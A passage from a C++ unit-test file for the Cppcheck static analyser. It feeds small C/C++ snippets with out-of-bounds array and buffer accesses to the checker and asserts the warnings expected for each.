{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i==1) {\\n\"\n \" }\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Ticket #2385 - No false positive\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i<10) {\\n\"\n \" } else {\\n\"\n \" a[i-10] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3893 - start value out of bounds\n // extracttests.start: int maybe(); int dostuff();\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 10; maybe(); dostuff()) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #7686\n check(\"char f() {\\n\"\n \" char buf[10];\\n\"\n \" const bool a = true, b = true;\\n\"\n \" for (int i = 0; i < (a && b ? 11 : 10); ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a[10] = {};\\n\"\n \" for (int n = 0; 1; ++n) {\\n\"\n \" if (a[n] < 1) {\\n\"\n \" switch (a[n]) {\\n\"\n \" case 0:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Array 'a[10]' accessed at index 9998, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_neq() {\n // Ticket #2211 - for loop using != in the condition\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[5]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_for_question() {\n // Ticket #2561 - using ?: inside for loop\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i == 0 ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" some_condition ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i==0 ? 0 : a[i-1];\\n\"\n \" a[i-1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for_varid0() { // #4228: No varid for counter variable\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (i=0; i<10; i++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_vla_for() {\n // #3221 - access VLA inside for\n check(\"void f(int len) {\\n\"\n \" char a[len];\\n\"\n \" for (int i=0; i<7; ++i) {\\n\"\n \" a[0] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_extern() {\n // Ticket #1684. FP when using 'extern'.\n check(\"extern char arr[15];\\n\"\n \"char arr[15] = \\\"abc\\\";\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_cast() {\n // Ticket #2841. FP when using cast.\n\n // Different types => no error\n check(\"void f1(char *buf) {\\n\"\n \" buf[4] = 0;\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" int x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same type => error\n check(\"void f1(const char buf[]) {\\n\"\n \" char c = buf[4];\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" char x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:2]: (error) Array 'x[2]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n }\n\n void array_index_string_literal() {\n check(\"void f() {\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 'str[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"a\\tc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6973\n \" const char *name = \\\"\\\";\\n\"\n \" if ( name[0] == 'U' ? name[1] : 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv) {\\n\"\n \" char str[6] = \\\"\\\\0\\\";\\n\"\n \" unsigned short port = 65535;\\n\"\n \" snprintf(str, sizeof(str), \\\"%hu\\\", port);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\" // #11020\n \" const char* p = (x == 0 ? \\\"12345\\\" : \\\"ABC\\\");\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; p[i]; i++)\\n\"\n \" s += p[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_same_struct_and_var_name() {\n // don't throw internal error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // detect error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name[22] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (error) Array 'tt->name[21]' accessed at index 22, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_valueflow() {\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" if (i==10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:3:8]: (warning) Either the condition 'i==10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 10: break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:3:8]: (warning) Either the switch case 'case 10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" str[((unsigned char)3) - 1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5416 FP\n \" char *str[3];\\n\"\n \" do_something(&str[0][5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { static const int x[100]; };\\n\" // #6070\n \"const int X::x[100] = {0};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace { class X { static const int x[100]; };\\n\" // #6232\n \"const int X::x[100] = {0}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class ActorSprite { static ImageSet * targetCursorImages[2][10]; };\\n\"\n \"ImageSet *ActorSprite::targetCursorImages[2][10];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::size_t s) {\\n\" // #10130\n \" const char a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };\\n\"\n \" return (s > sizeof(a)) ? 11 : (int)a[s];\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(16);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:3:41]: (warning) Either the condition 's>sizeof(a)' is redundant or the array 'a[16]' is accessed at index 16, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f(int fd) {\\n\" // #12318\n \" char buf[10];\\n\"\n \" int size = 0;\\n\"\n \" int pos = -1;\\n\"\n \" do {\\n\"\n \" pos++;\\n\"\n \" size = read(fd, &buf[pos], 1);\\n\"\n \" } while (size > 0);\\n\"\n \" buf[pos] = '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void array_index_valueflow_pointer() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds.\\n\", \"\", errout_str());\n\n {\n // address of\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" dostuff(&p[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\"\n \" int a[X];\\n\" // unknown size\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" char *p = (char *)a;\\n\" // cast\n \" p[4] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_function_parameter() {\n check(\"void f(char a[10]) {\\n\"\n \" a[20] = 0;\\n\" // <- cppcheck warn here even though it's not a definite access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char a[10]) {\\n\" // #6353 - reassign 'a'\n \" a += 4;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char a[10]) {\\n\"\n \" a[0] = 0;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_enum_array() { // #8439\n check(\"enum E : unsigned int { e1, e2 };\\n\"\n \"void f() {\\n\"\n \" E arrE[] = { e1, e2 };\\n\"\n \" arrE[sizeof(arrE)] = e1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'arrE[2]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_container() { // #9386\n check(\"constexpr int blockLen = 10;\\n\"\n \"void foo(std::array& a) {\\n\"\n \" a[2] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_two_for_loops() {\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" if (i < 50)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50;) {\\n\"\n \" sum -= val[i];\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50; i++)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_new() { // #7690\n check(\"void f() {\\n\"\n \" int* z = new int;\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int(1);\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int[5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void g() {\\n\"\n \" int* z = new int[5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 1;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{ 0 };\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_2_struct() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC &abc)\\n\"\n \"{\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" } abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" };\\n\"\n \" struct ABC *abc = malloc(sizeof(struct ABC));\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \" free(abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_3() {\n check(\"int a[10];\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (i = 0; i <= 10; ++i)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct S { int b; } static e[1];\\n\" // #11052\n \"int f() { return e[1].b; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Array 'e[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" for (int i = 0; i < 8; ++i)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'p[2]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // No false positive\n check(\"void foo(int x, int y)\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" const char *s = y + p[1];\\n\"\n \" p[1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no error here\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" sprintf(n, \\\"d\\\");\\n\"\n \" printf(\\\"hello!\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_6() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" strcat(n, \\\"abc\\\");\\n\"\n \" strcat(n, \\\"def\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds: n\\n\", \"\", errout_str());\n\n check(\"void f()\\n\" // #12489\n \"{\\n\"\n \" char d[3] = {};\\n\"\n \" strcat(d, \\\"12345678\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char d[3] = \\\"ab\\\"; \\n\"\n \" strcat(d, \\\"c\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_7() {\n // ticket #731\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" strcpy(a, \\\"a\\\\0\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_8() {\n // ticket #714\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = i + 100)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = 100 + i)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_9() {\n // ticket #738\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; )\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" i += 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_10() {\n // ticket #740\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" char b = a[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_11() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=i+0.1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=0.1+i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_15() { // ticket #1787\n check(\"class A : public B {\\n\"\n \" char val[2];\\n\"\n \" void f(int i, int ii);\\n\"\n \"};\\n\"\n \"void A::f(int i, int ii)\\n\"\n \"{\\n\"\n \" strcpy(val, \\\"ab\\\") ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Buffer is accessed out of bounds: val [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_16() {\n // unknown types\n check(\"void f() {\\n\"\n \" struct Foo foo[5];\\n\"\n \" memset(foo, 0, sizeof(foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // ticket #2093\n \" gchar x[3];\\n\"\n \" strcpy(x, \\\"12\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern char a[10];\\n\"\n \"void f() {\\n\"\n \" char b[25] = {0};\\n\"\n \" std::memcpy(b, a, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_18() { // ticket #2576\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<6; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<7; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) Array 'b[7]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_19() { // #2597 - class member with unknown type\n check(\"class A {\\n\"\n \"public:\\n\"\n \" u8 buf[10];\\n\"\n \" A();\"\n \"};\\n\"\n \"\\n\"\n \"A::A() {\\n\"\n \" memset(buf, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_21() {\n check(\"void foo()\\n\"\n \"{ { {\\n\"\n \" char dst[4];\\n\"\n \" const char *src = \\\"AAAAAAAAAAAAAAAAAAAAA\\\";\\n\"\n \" for (size_t i = 0; i <= 4; i++)\\n\"\n \" dst[i] = src[i];\\n\"\n \"} } }\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Array 'dst[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_24() { // index variable is changed in for-loop\n // ticket #4106\n check(\"void main() {\\n\"\n \" int array[] = {1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i];\\n\"\n \" i++; }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // ticket #4096\n check(\"void main() {\\n\"\n \" int array[] = {1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i++];\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void buffer_overrun_26() { // ticket #4432 (segmentation fault)\n check(\"extern int split();\\n\"\n \"void regress() {\\n\"\n \" char inbuf[1000];\\n\"\n \" char *f[10];\\n\"\n \" split(inbuf, f, 10, \\\"\\t\\t\\\");\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_27() { // ticket #4444 (segmentation fault)\n check(\"void abc(struct foobar[5]);\\n\"\n \"void main() {\\n\"\n \"struct foobar x[5];\\n\"\n \"abc(x);\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #7083: false positive: typedef and initialization with strings\n void buffer_overrun_29() {\n check(\"typedef char testChar[10];\\n\"\n \"int main(){\\n\"\n \" testChar tc1 = \\\"\\\";\\n\"\n \" tc1[5]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // #6367\n void buffer_overrun_30() {\n check(\"struct S { int m[9]; };\\n\"\n \"int f(S * s) {\\n\"\n \" return s->m[sizeof(s->m)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Array 's->m[9]' accessed at index 36, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_31() {\n check(\"void f(WhereInfo *pWInfo, int *aiCur) {\\n\"\n \" memcpy(aiCur, 